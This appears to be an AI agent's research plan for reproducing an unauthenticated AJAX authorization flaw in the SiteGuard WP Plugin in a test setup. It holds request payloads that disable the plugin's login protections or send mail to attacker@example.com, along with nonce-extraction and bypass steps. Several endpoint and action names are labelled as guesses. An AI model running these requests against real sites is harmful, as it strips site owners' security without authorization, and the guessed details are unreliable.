Exploitation Research Plan: CVE-2026-27411 (SiteGuard WP Plugin)

1. Vulnerability Summary

The SiteGuard WP Plugin (<= 1.7.9) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, an administrative action registered via the WordPress AJAX API is accessible to unauthenticated users (wp_ajax_nopriv_) or fails to verify the caller's capabilities (current_user_can) before performing a privileged operation. This allows an attacker to manipulate plugin settings, such as disabling security features (Rename Login, CAPTCHA) or triggering unauthorized emails.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: Likely siteguard_send_test_email or a setting-update action (inferred based on plugin functionality and CVSS profile).
• HTTP Method: POST
• Authentication: None required (PR:N).
• Preconditions: The plugin must be active. If the action requires a nonce, the nonce must be leaked on a public-facing page or obtainable via a specific shortcode.

3. Code Flow

1. Entry Point: The plugin registers AJAX handlers in classes/siteguard-admin.php (inferred) or the main siteguard.php file using add_action( 'wp_ajax_nopriv_{action}', ... ).
2. Trigger: An unauthenticated POST request to admin-ajax.php with the action parameter.
3. Vulnerable Logic: The handler function (e.g., siteguard_send_test_email_callback) is called.
4. Missing Check: The function may call check_ajax_referer() (nonce check) but fails to call current_user_can( 'manage_options' ).
5. Sink: The function performs an action like wp_mail() or update_option().

4. Nonce Acquisition Strategy

SiteGuard often localizes its admin data for its settings pages. If the vulnerable action is protected by a nonce, it is typically registered using wp_localize_script.

1. Identify Shortcode: Search for shortcodes that might load the plugin's frontend scripts: grep -rn "add_shortcode" .
2. Create Page: Create a post/page to trigger script loading:
   wp post create --post_type=page --post_status=publish --post_content='[siteguard_target_shortcode]'
3. Extract Nonce:
   • Use browser_navigate to visit the created page or the login page.
   • Use browser_eval to look for localized objects. SiteGuard typically uses an object named siteguard_admin_obj or similar.
   • JavaScript command: browser_eval("window.siteguard_admin_obj?.nonce || window.siteguard_ajax_nonce") (inferred).
4. Action Matching: If wp_create_nonce was called with a generic action like -1 or 'siteguard-nonce', the nonce obtained from the login page may work for the admin-ajax action.

5. Exploitation Strategy

The goal is to demonstrate unauthorized action, such as triggering a test email or modifying a plugin setting.

Step 1: Discovery (Manual or Automated)

Identify the exact action by searching for nopriv registrations:

grep -rn "wp_ajax_nopriv" .

Examine the callback function for the absence of current_user_can.

Step 2: Payload Construction (Example: siteguard_send_test_email)

Request:

• URL: http://<target>/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=siteguard_send_test_email&nonce=[EXTRACTED_NONCE]&to_email=attacker@example.com&subject=Exploit_Success
  

Step 3: Setting Modification (If applicable)

If the vulnerability allows updating options:

• Body:

  action=siteguard_update_option&nonce=[EXTRACTED_NONCE]&option_name=siteguard_rename_login&option_value=off
  

6. Test Data Setup

1. Install Plugin: Ensure SiteGuard WP Plugin v1.7.9 is installed and activated.
2. Configure Feature: Enable the "Rename Login" feature and "CAPTCHA" to provide a measurable impact when they are disabled.
3. Identify Nonce Source: Determine if the login page (/wp-login.php) or the hidden login URL contains the necessary nonce in the source code.

7. Expected Results

• Success Criteria: The server returns a 200 OK response (often 1 or a JSON success message).
• Impact:
  • An email is dispatched to the specified address (verify via mail logs/MailHog).
  • OR, a plugin setting is changed in the database.
  • OR, a security feature (like CAPTCHA) is no longer present on the login page.

8. Verification Steps

After the exploit attempt, verify the state change using WP-CLI:

1. Check Option Value:
   wp option get siteguard_rename_login
2. Check Mail Logs: If testing send_test_email, check the system mail log or a local mail catcher (if available).
3. Verify UI: Navigate to wp-login.php to see if CAPTCHA or "Rename Login" has been disabled/bypassed.

9. Alternative Approaches

• Action Brute-force: If no nopriv actions are obvious, check for functions hooked to init that handle $_GET['siteguard_action'] or similar parameters without checking authentication.
• Nonce Bypass: Check if the nonce check is conditional:

  if ( isset($_POST['nonce']) ) { check_ajax_referer(...); }
  

  If so, omit the nonce parameter entirely.
• Default Action Nonce: Try using a nonce generated for the -1 action if the plugin uses wp_verify_nonce( $nonce, -1 ).